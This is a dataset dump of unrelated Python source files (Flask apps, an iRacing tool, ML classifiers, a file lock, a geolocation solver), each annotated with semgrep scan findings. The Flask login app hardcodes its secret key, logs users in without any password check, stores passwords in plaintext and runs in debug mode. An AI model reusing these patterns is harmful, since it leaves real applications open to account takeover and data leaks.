2024-11-18T19:11:53.660871+00:00 | 1,690,911,929,000 | b71c48763e8ec2e106216bc4404fcf9c33d33b4a | 3 | {
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"visit_date": "2023-08-16T23:58:58.566589"
} | 2.953125 | stackv2 | from ipaddress import IPv4Address
from qrl.core import config
class IPMetadata(object):
def __init__(self, ip_str: str, port: int):
self._ip = ip_str
try:
self._port = int(port)
except ValueError:
raise ValueError('Invalid Peer Port {}'.format(port))
self.ip_address = IPv4Address(self._ip)
if not (0 < self._port <= 65535): # Validate port number
raise ValueError('Invalid Peer Port {}'.format(self))
def __repr__(self):
return self.full_address
def __hash__(self):
return hash(self.__repr__())
def __eq__(self, other):
if isinstance(other, IPMetadata):
return self._ip == other._ip and self._port == other._port
return False
def __ne__(self, other):
return not self.__eq__(other)
def _validate(self):
pass
@property
def full_address(self):
return "{}:{}".format(self.ip, self.port)
@property
def ip(self):
return self._ip
@property
def port(self):
return self._port
@property
def is_global(self):
return self.ip_address.is_global
@classmethod
def from_full_address(cls, full_address: str, check_global=False):
parts = full_address.split(':')
ip = parts[0]
port = config.user.p2p_local_port
if check_global:
port = config.user.p2p_public_port
if len(parts) > 2:
raise ValueError('Invalid Peer address')
if len(parts) == 2:
try:
port = int(parts[1])
except ValueError as e:
raise ValueError('Invalid Peer Port {} - {}'.format(full_address, str(e)))
answer = cls(ip, port)
if check_global:
if not answer.is_global: # Check for Global IP
raise ValueError('Local Peer IP Found {}'.format(full_address))
return answer
@staticmethod
def canonical_full_address(full_address: str, check_global=False):
return IPMetadata.from_full_address(full_address, check_global).full_address
| 80 | 25.55 | 90 | 19 | 480 | python | [{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_cf417c2269581e68_05fabcb0", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_global\" a function or an attribute? If it is a function, you may have meant self.ip_address.is_global() because self.ip_address.is_global is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 51, "line_end": 51, "column_start": 16, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/cf417c2269581e68.py", "start": {"line": 51, "col": 16, "offset": 1146}, "end": {"line": 51, "col": 41, "offset": 1171}, "extra": {"message": "Is \"is_global\" a function or an attribute? If it is a function, you may have meant self.ip_address.is_global() because self.ip_address.is_global is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_cf417c2269581e68_aab5d040", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_global\" a function or an attribute? If it is a function, you may have meant answer.is_global() because answer.is_global is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 73, "line_end": 73, "column_start": 20, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/cf417c2269581e68.py", "start": {"line": 73, "col": 20, "offset": 1805}, "end": {"line": 73, "col": 36, "offset": 1821}, "extra": {"message": "Is \"is_global\" a function or an attribute? If it is a function, you may have meant answer.is_global() because answer.is_global is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"",
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] | [
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2024-11-18T19:11:53.881204+00:00 | 1,629,822,416,000 | 511420c8ecc515a49498ec0b75b8782ddc42c833 | 2 | {
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} | 2.3125 | stackv2 | from pynput import keyboard
import irsdk
import logging
import yaml
import os
import time
from threading import Thread
SCRIPTNAME = "trackbuilder"
CONFIG_FILE = "ircorners.cfg"
class State:
ir_connected = False
current_track_id = -1
current_track_name = ""
current_corner = ""
corner_list = []
all_track_ids = []
cur_pct = 0
cur_starts_at = 0
cur_ends_at = 0
cur_turn_number = 0
all_turns_list = []
info_displayed = 0
corner_prefix = "T"
# initate everything we need for thread safe logging to stdout
logger = logging.getLogger(SCRIPTNAME)
logger.setLevel(logging.INFO)
ch = logging.StreamHandler()
ch.setLevel(logging.INFO)
# create formatter
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
# add formatter to ch
ch.setFormatter(formatter)
logger.addHandler(ch)
logger.info("---------------------------------------------")
logger.info("%s" % (SCRIPTNAME,))
logger.info("---------------------------------------------")
file_list = os.listdir()
if CONFIG_FILE not in file_list:
logger.info("There is no ircorners.cfg config file.")
logger.info("Please copy the ircorners_example.cfg to")
logger.info("ircorners.cfg and edit it.")
logger.info("---------------------------------------------")
input("Press return key to end!")
exit(0)
else:
with open(CONFIG_FILE) as fl:
config = yaml.load(fl, Loader=yaml.FullLoader)
logger.info("config has been read.")
logger.info("---------------------------------------------")
logger.info("1. start an iRacing test session")
logger.info("2. press the '1' key to mark the start of a nameable section")
logger.info("3. press the '2' key to mark the end of the nameable section")
logger.info("4. after finishing the lap, press the '3' key, to generate the xml")
logger.info("---------------------------------------------")
def check_iracing():
if state.ir_connected and not (ir.is_initialized and ir.is_connected):
state.ir_connected = False
# don't forget to reset your State variables
state.last_car_setup_tick = -1
# we are shutting down ir library (clearing all internal variables)
ir.shutdown()
state.info_displayed = 0
logger.info('iRacing - irsdk disconnected')
elif not state.ir_connected and ir.startup() and ir.is_initialized and ir.is_connected:
state.ir_connected = True
logger.info('iRacing - irsdk connected')
def iracingworker(stop):
logger.info("iRacingWorker - Thread starts")
# looping iracing
while not stop():
if not state.ir_connected:
try:
ir.startup()
except Exception as e:
logger.critical("cannot startup IRSDK: %s" % (e,))
exit(1)
try:
check_iracing()
except Exception as e:
logger.critical("iRacingWorker - Exception while checking iracing: %s" % (e,))
# if we are, then process data
if state.ir_connected and ir["WeekendInfo"] and ir["SessionInfo"] and ir["DriverInfo"]:
ir.freeze_var_buffer_latest()
if ir["WeekendInfo"]["TrackID"] != state.current_track_id:
state.current_track_id = ir["WeekendInfo"]["TrackID"]
state.current_track_name = ir["WeekendInfo"]["TrackName"]
if state.info_displayed == 0:
logger.info("TrackID: %s Track: %s" % (state.current_track_id, state.current_track_name, ))
state.info_displayed = 1
#logger.info("TrackID: %s - Corner: '%s' - Dist: %s - Percent: %s" % (ir["WeekendInfo"]["TrackID"], state.current_corner, ir["LapDist"], float(ir["LapDistPct"])))
state.cur_pct = float(ir["LapDistPct"])
found = 0
#print(state.corner_list)
for i in state.corner_list:
#logger.info("%s -> %s" % (float(i["starts_at"]), float(i["ends_at"])))
if float(ir["LapDistPct"]) >= float(i["starts_at"]) and float(ir["LapDistPct"]) < float(i["ends_at"]):
#logger.info("match.... %s" % (i["name"], ))
state.current_corner = i["name"]
found = 1
if found == 0:
state.current_corner = ""
time.sleep(10/60)
logger.info("iRacingWorker - Thread ends")
def on_press(key):
try:
k = key.char # single-char keys
except:
k = key.name # other keys
#logger.info("noticed a key press")
if k in ['1', '2', '3']: # keys of interest
# self.keys.append(k) # store it in global-like variable
#print('Key pressed: %s at %s' % (k, state.cur_pct))
if k == '1':
logger.info("start part at %s" % (state.cur_pct))
state.cur_starts_at = state.cur_pct
state.cur_turn_number += 1
if k == '2':
logger.info("end part at %s" % (state.cur_pct))
state.cur_ends_at = state.cur_pct
state.all_turns_list.append(' <turn number="%s" starts_at="%s" ends_at="%s" name="%s%s"/>' %
(state.cur_turn_number,
state.cur_starts_at,
state.cur_ends_at,
state.corner_prefix,
state.cur_turn_number))
#print(' <turn number="%s" starts_at="%s" ends_at="%s" name=""/>' % (state.cur_turn_number, state.cur_starts_at, state.cur_ends_at))
if k == '3':
state.all_turns_list.insert(0, '<track>')
state.all_turns_list.insert(0, '<!-- %s - %s -->' % (state.current_track_name, state.current_track_id))
state.all_turns_list.insert(0, '<?xml version="1.0" encoding="UTF-8" ?>')
state.all_turns_list.append('</track>')
for i in state.all_turns_list:
print(i)
state.cur_turn_number = 0
print("-----------------------------------------------")
print("check if xml already exists...")
tmp_filename = 'ressources/' + str(state.current_track_id) + '.xml'
if os.path.isfile(tmp_filename):
print('file already exists: %s' % (tmp_filename))
print('will NOT overwrite file....')
print('trying to save a duplicate file to duplicates folder')
dupl_number = 1
tmp_dupl_filename = 'duplicates/duplicate_' + str(dupl_number) + '_' + str(state.current_track_id) + '.xml'
while os.path.isfile(tmp_dupl_filename):
dupl_number += 1
tmp_dupl_filename = 'duplicates/duplicate_' + str(dupl_number) + '_' + str(state.current_track_id) + '.xml'
print('will save to %s' % (tmp_dupl_filename))
with open(tmp_dupl_filename, 'w') as f:
for i in state.all_turns_list:
f.write(i + "\n")
f.close()
else:
print('saving xml as: %s' % (tmp_filename))
with open(tmp_filename, 'w') as f:
for i in state.all_turns_list:
f.write(i + "\n")
f.close()
print("writing xml to disc.... done.")
state.cur_turn_number = 1
#return False # stop listener; remove this if want more keys
if __name__ == "__main__":
listener = keyboard.Listener(on_press=on_press)
# initialize our State class
state = State()
# initialize IRSDK
try:
ir = irsdk.IRSDK(parse_yaml_async=True)
logger.info("startup iRacing SDK")
except Exception as e:
logger.critical("cannot initialize IRSDK: %s" % (e,))
stop_threads = False
iRacingThread = Thread(target=iracingworker, args=(lambda: stop_threads, ))
iRacingThread.start()
listener.start() # start to listen on a separate thread
input("any key to end\n")
stop_threads = True
iRacingThread.join()
listener.join() # remove if main thread is polling self.keys
logger.info("iRcorner - Programm finished....")
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2024-11-18T19:23:48.816594+00:00 | 1,568,207,521,000 | 41dda4feb4957cd9595b427daa0b4d39baa8950f | 2 | {
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} | 2.40625 | stackv2 | from flask import Flask, session, render_template, url_for, redirect, request, escape
app=Flask(__name__)
from flask_bootstrap import Bootstrap
import sqlite3 as sql
app.secret_key = 'any random string'
def create_app():
app = Flask(__name__)
Bootstrap(app)
return app
posts = [
{
'author': 'Jatin Nagpal',
'title': 'First Blog',
'content': 'First post content',
'date_posted': 'September 10, 2019'
}
]
@app.route('/home/')
@app.route('/')
def home():
if 'handle' in session:
handle = session['handle']
return render_template('home.html', posts=posts,title = 'Home Page')
# return 'Logged in as ' + handle + '<br>' +\
# "<b><a href = '/logout'>Click here to log out</a></b>"
return redirect(url_for('login'))
@app.route('/login/')
def login():
return render_template('login.html')
@app.route('/loggedin/',methods = ['POST','GET'])
def loggedin():
if request.method == 'POST':
session['handle'] = request.form['handle']
return redirect(url_for('home'))
@app.route('/logout/')
def logout():
session.pop('handle', None)
return redirect(url_for('home'))
@app.route('/regis/',methods = ['POST','GET'])
def regis():
if request.method == 'POST':
try:
handle = request.form['handle']
email = request.form['email']
password = request.form['password']
with sql.connect("database.db") as con:
cur = con.cursor()
cur.execute("INSERT INTO coders (handle,email,password) VALUES (?,?,?)", (handle,email,password) )
con.commit()
msg = "Coder Successfully Added"
except:
con.rollback()
msg = "Error in insert operation"
finally:
return render_template("result.html", msg = msg)
con.close()
@app.route('/list/')
def list():
con = sql.connect("database.db")
con.row_factory = sql.Row
cur = con.cursor()
cur.execute("select * from coders")
rows = cur.fetchall();
return render_template("list.html", rows = rows)
@app.route('/register/',methods = ['POST','GET'])
def register():
return render_template("register.html")
if __name__ == '__main__':
app.run(debug=True)
| 83 | 23.64 | 102 | 16 | 515 | python | [{"finding_id": "semgrep_rules.python.lang.maintainability.code-after-unconditional-return_14a2bd5173483d7d_0cfdad70", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.code-after-unconditional-return", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "code after return statement will not be executed", "remediation": "", "location": {"file_path": "unknown", "line_start": 64, "line_end": 65, "column_start": 4, "column_end": 15, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.code-after-unconditional-return", "path": "/tmp/tmpb8jm_z1l/14a2bd5173483d7d.py", "start": {"line": 64, "col": 4, "offset": 1596}, "end": {"line": 65, "col": 15, "offset": 1659}, "extra": {"message": "code after return statement will not be executed", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.audit.debug-enabled_14a2bd5173483d7d_e2a2a5dc", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.audit.debug-enabled", "finding_type": "security", "severity": "medium", "confidence": "high", "message": "Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.", "remediation": "", "location": {"file_path": "unknown", "line_start": 83, "line_end": 83, "column_start": 2, "column_end": 21, "code_snippet": "requires login"}, "cwe_id": "CWE-489: Active Debug Code", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A", "references": [{"url": "https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.audit.debug-enabled", "path": "/tmp/tmpb8jm_z1l/14a2bd5173483d7d.py", "start": {"line": 83, "col": 2, "offset": 2025}, "end": {"line": 83, "col": 21, "offset": 2044}, "extra": {"message": "Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.", "metadata": {"cwe": ["CWE-489: Active Debug Code"], "owasp": "A06:2017 - Security Misconfiguration", "references": ["https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/"], "category": "security", "technology": ["flask"], "subcategory": ["vuln"], "likelihood": "HIGH", "impact": "MEDIUM", "confidence": "HIGH"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
""
] | [
"rules.python.lang.maintainability.code-after-unconditional-return"
] | [
"maintainability"
] | [
"MEDIUM"
] | [
"MEDIUM"
] | [
64
] | [
65
] | [
4
] | [
15
] | [
""
] | [
"code after return statement will not be executed"
] | [
5
] | [
""
] | [
""
] | hello.py | /app/hello.py | Jatin-Nagpal/FlaskApp | MIT | |
2024-11-18T19:23:56.767731+00:00 | 1,412,296,764,000 | 4aa75caa976d1498bbc755b6c56690e983e0276c | 2 | {
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"revision_id": "69e78d01065142446234e77ea7c8c31e3482af29",
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"visit_date": "2021-01-18T02:18:20.911401"
} | 2.484375 | stackv2 | from django.template import loader, Context, RequestContext
import stomp
import json
def push_with_template(template, context, destination):
'''
Pushes content through stomp / morbidQ to comet listeners.
This drives a lot of the "live" content on our site.
'''
t = loader.get_template(template) #Probably a very small, cookie-cutter template that gets included again and again. 'comm/call_alert.html' is a good example.
c = Context(context)
conn = stomp.Connection() #This will raise errors if stomp / orbited crash. Maybe we should try / except and handle this situation more gracefully.
conn.start()
conn.connect()
conn.send(t.render(c), destination=destination)
conn.stop()
return True
def push_with_json(dict, destination):
json_dict = json.dumps(dict)
conn = stomp.Connection() #This will raise errors if stomp / orbited crash. Maybe we should try / except and handle this situation more gracefully.
conn.start()
conn.connect()
conn.send(json_dict, destination=destination)
conn.stop()
return True
def push_with_string(string, destination):
conn = stomp.Connection() #This will raise errors if stomp / orbited crash. Maybe we should try / except and handle this situation more gracefully.
conn.start()
conn.connect()
conn.send(string, destination=destination)
conn.stop() | 36 | 37.86 | 163 | 9 | 309 | python | [{"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_694fcb5e9a63d4d5_96d09143", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "remediation": "", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 15, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "path": "/tmp/tmpb8jm_z1l/694fcb5e9a63d4d5.py", "start": {"line": 16, "col": 15, "offset": 675}, "end": {"line": 16, "col": 26, "offset": 686}, "extra": {"message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-79"
] | [
"rules.python.flask.security.xss.audit.direct-use-of-jinja2"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
16
] | [
16
] | [
15
] | [
26
] | [
"A07:2017 - Cross-Site Scripting (XSS)"
] | [
"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | functions.py | /what_apps/push/functions.py | jMyles/WHAT | MIT | |
2024-11-18T19:23:57.885757+00:00 | 1,610,141,259,000 | 0e1f5192eb432979ace9c427fb6bf98878c98fb6 | 3 | {
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} | 2.625 | stackv2 | import flask as fl
from flask import Flask, redirect, url_for, request, jsonify
import tensorflow.keras as kr
from speedPowerModel import LinearRegressionModel, PolynomialRegressionModel, KNNRegressionModel
app = fl.Flask(__name__)
# Add root route.
@app.route("/")
def home():
return app.send_static_file("index.html")
# Route for linear regression.
@app.route("/api/linear/<speed>")
def LinearPrediction(speed):
if float(speed) == 0:
return jsonify({"value": 0})
prediction = LinearRegressionModel(speed)
return jsonify({"value": prediction})
# Route for polynomial regression.
@app.route("/api/polynomial/<speed>")
def PolynomialPrediction(speed):
if float(speed) == 0:
return jsonify({"value": 0})
prediction = PolynomialRegressionModel(speed)
return jsonify({"value": prediction})
# Route for k-nearest neighbours regression.
@app.route("/api/knn/<speed>")
def KNNPrediction(speed):
if float(speed) == 0:
return jsonify({"value": 0})
prediction = KNNRegressionModel(speed)
return jsonify({"value": prediction})
# Route for neural network.
@app.route("/api/nn/<speed>")
def NeuralNetworkPrediction(speed):
if float(speed) == 0:
return jsonify({"value": 0})
speed = float(speed)
model = kr.models.load_model("model.h5")
prediction = model.predict([speed])
return jsonify({"value": prediction.item(0)})
if __name__ == "__main__":
app.run(debug=True)
| 62 | 22.69 | 96 | 13 | 330 | python | [{"finding_id": "semgrep_rules.python.flask.security.injection.nan-injection_609dcba71fd88f50_5990aeaa", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.injection.nan-injection", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. 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"CWE-704"
] | [
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"rules.python.flask.security.injection.nan-injection",
"rules.python.flask.security.injection.nan-injection"
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"MEDIUM",
"MEDIUM",
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"MEDIUM"
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"MEDIUM",
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"MEDIUM",
"MEDIUM"
] | app.py | /app.py | WilliamVida/EmergingTechnologiesProject | MIT | |
2024-11-18T19:23:59.482901+00:00 | 1,534,870,631,000 | 58587ca7ebae4099d24d64f415463cce3c1a091d | 3 | {
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} | 2.5625 | stackv2 | #!/usr/bin/env python
# edit-question.py
# ----------------
# Edit your FAQ in the console. Because consoles rock.
from subprocess import call
import lh3.api
import os
import sys
import tempfile
# Takes two command line arguments, FAQ ID and Question ID.
faq_id, question_id = sys.argv[1:]
client = lh3.api.Client()
question = client.one('faqs', faq_id).one('questions', question_id).get(params = {'format': 'json'})
EDITOR = os.environ.get('EDITOR', 'vim')
_, temp = tempfile.mkstemp(suffix = '.tmp')
with open(temp, 'w') as f:
f.write(question['answer'])
f.flush()
call([EDITOR, temp])
with open(temp, 'r') as f:
answer = f.read()
client.one('faqs', faq_id).one('questions', question_id).patch({'answer': answer})
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2024-11-18T19:23:59.589348+00:00 | 1,541,156,088,000 | 5f685832cf83f3d99b7a4bcb5f4fe7b1c7537d9c | 3 | {
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} | 2.8125 | stackv2 | from __future__ import division
import torch
from ignite.metrics.metric import Metric
from ignite.exceptions import NotComputableError
from ignite._utils import to_onehot
class Recall(Metric):
"""
Calculates recall.
- `update` must receive output of the form `(y_pred, y)`.
If `average` is True, returns the unweighted average across all classes.
Otherwise, returns a tensor with the recall for each class.
"""
def __init__(self, average=False, output_transform=lambda x: x):
super(Recall, self).__init__(output_transform)
self._average = average
def reset(self):
self._actual = None
self._true_positives = None
def update(self, output):
y_pred, y = output
num_classes = y_pred.size(1)
indices = torch.max(y_pred, 1)[1]
correct = torch.eq(indices, y)
actual_onehot = to_onehot(y, num_classes)
actual = actual_onehot.sum(dim=0)
if correct.sum() == 0:
true_positives = torch.zeros_like(actual)
else:
correct_onehot = to_onehot(indices[correct], num_classes)
true_positives = correct_onehot.sum(dim=0)
if self._actual is None:
self._actual = actual
self._true_positives = true_positives
else:
self._actual += actual
self._true_positives += true_positives
def compute(self):
if self._actual is None:
raise NotComputableError('Recall must have at least one example before it can be computed')
result = self._true_positives / self._actual
result[result != result] = 0.0
if self._average:
return result.mean().item()
else:
return result
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} | 2.859375 | stackv2 | # Copyright 2019-2021 Tóth, László Attila
# Distributed under the terms of the Apache License, Version 2.0
import fcntl
import os
class FileLock:
def __init__(self, filename: str):
self._filename = filename
self._fd = None
def lock(self):
while not self.is_locked:
self.try_lock()
def unlock(self):
if self.is_locked:
self._unlock()
def try_lock(self):
fd = os.open(self._filename, os.O_CREAT | os.O_TRUNC | os.O_RDWR)
try:
fcntl.flock(fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
except (IOError, OSError):
os.close(fd)
else:
self._fd = fd
def _unlock(self):
fd = self._fd
self._fd = None
fcntl.flock(fd, fcntl.LOCK_UN)
os.close(fd)
@property
def is_locked(self):
return self._fd is not None
def __enter__(self):
self.lock()
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.unlock()
return self
def lock_directory(directory: str):
return FileLock(os.path.join(directory, '.lock_file_'))
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} | 2.75 | stackv2 | from sklearn.base import BaseEstimator, ClassifierMixin
from sklearn.ensemble import VotingClassifier
from sklearn.linear_model import LogisticRegression
from sklearn.ensemble import GradientBoostingClassifier
from sklearn.ensemble import AdaBoostClassifier
from sklearn.ensemble import RandomForestClassifier
from sklearn.ensemble import ExtraTreesClassifier
from sklearn.svm import SVC
from sklearn.model_selection import GridSearchCV
import numpy as np
class BatyaGGClassifier(BaseEstimator, ClassifierMixin):
def __init__(self, zero_thresh=0.1, tol=100, step=0.1, max_iter=25):
self.zero_thresh = zero_thresh
self.tol = tol
self.step = step
self.max_iter = max_iter
self.fitted = False
self.clf = None
def fit(self, X, y):
X_new, y_new = self._remove_nols_in_y(X, y)
svc = SVC(kernel='rbf', C=10, probability=True) # C
logreg = LogisticRegression(C=10, tol=1e-5) # C
abc = AdaBoostClassifier(n_estimators=500)
gbc = GradientBoostingClassifier(n_estimators=1000, max_depth=5) # max_depth
rfc = RandomForestClassifier(n_estimators=500, n_jobs=-1)
etc = ExtraTreesClassifier(n_estimators=500, bootstrap=True, n_jobs=-1)
self.clf = VotingClassifier(estimators=[('svc', svc), ('logreg', logreg),
('abc', abc), ('gbc', gbc), ('rfc', rfc),
('etc', etc)], voting='soft')
# tuning_parameters = {'svc__C': [33, 66], 'logreg__C': [33, 66]}
# self.clf = GridSearchCV(clf, tuning_parameters, cv=5)
self.clf.fit(X_new, y_new)
self.fitted = True
_, counts = np.unique(y, return_counts=True)
zero_count = counts[0]
pred_zero_count = 0
loop_count = 0
last_action = 'nothing'
while np.abs(zero_count - pred_zero_count) > self.tol and loop_count < self.max_iter:
test_prediction = self.predict(X)
labels, counts = np.unique(test_prediction, return_counts=True)
pred_zero_count = counts[0] if len(labels) == 4 else 0
if pred_zero_count < zero_count:
if last_action is 'decreased': self.step = self.step / 2
self.zero_thresh += self.step
last_action = 'increased'
else:
if last_action is 'increased': self.step = self.step / 2
self.zero_thresh -= self.step
last_action = 'decreased'
loop_count += 1
assert (type(self.zero_thresh) == float), "zero_thresh parameter must be float or double"
assert (type(self.tol) == int), "tol parameter must be integer"
assert (type(self.step) == float), "step parameter must be float or double"
assert (type(self.max_iter) == int), "max_iter parameter must be integer"
return self
def _meaning(self, x):
return (True if x >= self.treshold_ else False)
def predict(self, X, y=None):
if not self.fitted: raise RuntimeError("You must train classifier before predicting data")
probs = self.clf.predict_proba(X)
indexes = np.argmax(probs, axis=1)
label_probs = probs[np.arange(0, probs.shape[0]), indexes]
labels = indexes + 1
doubtful_label_indexes = np.where(label_probs < self.zero_thresh)[0]
labels[doubtful_label_indexes] = 0
return labels
def score(self, X, y):
predicts = self.predict(X)
eq = (predicts == y)
where = np.where(eq == True)[0]
return 1.0 * where.size / y.size
def _remove_nols_in_y(self, data_x, data_y, remove=1):
# input dim sample X channels, flattened or deflattened input
indexes = np.where(data_y == 0)[0]
indexes = indexes[:int(indexes.shape[0] * remove)]
return np.delete(data_x, indexes, 0), np.delete(data_y, indexes, 0)
# def accuracy(self):
# return self.clf.best_score_
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} | 2.703125 | stackv2 | #!/usr/bin/env
# -*- coding:utf-8 -*-
import time
import math
import pyproj
import datetime
from sympy import Symbol, sqrt, Eq, Abs
from sympy.solvers import solve
from sympy import linsolve
from scipy.optimize import least_squares
from ..utils.utils import SPEED_OF_LIGHT
from ..model.point import point
from ..model.projection import projection
from ..model.uplink import uplink
from ..model.gateway import gateway
"""
The aim of this lib is to compute the geolocalization of a device by the time difference of arrival at 3 gateways.
=> we will store the interesting points in the different usecases and return the center of them
.
/ \
/ ! \ => We can not compute the response if we have the same gateway twice
/_____\
"""
class lsm:
"""This class handle all the tdoa process"""
def __init__(self, uplink_list, projection_system='epsg:2192'):
"""tdoa constructor
Args:
uplink_list: a List of 4 uplinks to consider to compute the tdoa
projection_system: The projection system name to use. (string)
please choose your projection http://spatialreference.org/ref/epsg/2192/
"""
if not isinstance(uplink_list, list) or len(uplink_list) < 3:
raise ValueError("Incorrect uplink_list is not a list or not enough uplink")
if not isinstance(projection_system, str):
raise ValueError("Incorrect projection_system")
for uplk in uplink_list:
if not isinstance(uplk, uplink):
raise ValueError("Invalid item in uplink_list is not a uplink")
#check gateway uniqueness
for i, uplk in enumerate(uplink_list):
for j in xrange(i+1, len(uplink_list)):
if uplink_list[i].gateway == uplink_list[j].gateway:
raise ValueError("Gateway is not unique")
# PUBLIC
self.geolocalized_device = point(.0, .0)
self.is_resolved = False
# PRIVATE
self._uplinks = uplink_list
self._level = len(uplink_list)
self._equations = []
self._intersections = []
self._proj = projection(projection_system)
# compute the trilateration
self._compute_geolocalization()
def _lsm_loss_clojure(self):
"""
Algorithm:
The goal is to resolve the equation:with a least 4 gatreways (2, 3, 4)
x * Am + y * Bm + z * Cm + Dm = 0
=> mat A * mat X = - mat B
with:
Am = (2 * Xm) / (v * Tm) - (2 * X1) / (v * T1)
Bm = (2 * Ym) / (v * Tm) - (2 * Y1) / (v * T1)
Cm = (2 * Zm) / (v * Tm) - (2 * Z1) / (v * T1)
Dm = v * Tm - v * T1 - (Xm * Xm + Ym * Ym + Zm * Zm) / (v * Tm) + (X1 * X1 + Y1 * Y1 + Z1 * Z1) / (v * T1)
As we don't have informations about the Z value, we will compute as if z = 0
=>
Am = (2 * Xm) / (v * Tm) - (2 * X1) / (v * T1)
Bm = (2 * Ym) / (v * Tm) - (2 * Y1) / (v * T1)
Dm = v * Tm - v * T1 - (Xm * Xm + Ym * Ym) / (v * Tm) + (X1 * X1 + Y1 * Y1) / (v * T1)
"""
# Pivot values
x0, y0 = self._proj.lat_long_to_x_y(self._uplinks[0].gateway.lat, self._uplinks[0].gateway.lon)
t0 = self._uplinks[0].timestamp
def clojure(x):
loss = .0
for i, uplink in enumerate(self._uplinks):
if i == 0:
continue
gw_x, gw_y = self._proj.lat_long_to_x_y(uplink.gateway.lat, uplink.gateway.lon)
gw_ts = uplink.timestamp
loss += abs(math.sqrt((gw_x - x[0])**2 + (gw_y - x[1])**2) - math.sqrt((x0 - x[0])**2 + (y0 - x[1])**2) - SPEED_OF_LIGHT * (gw_ts - t0))
return loss
return clojure
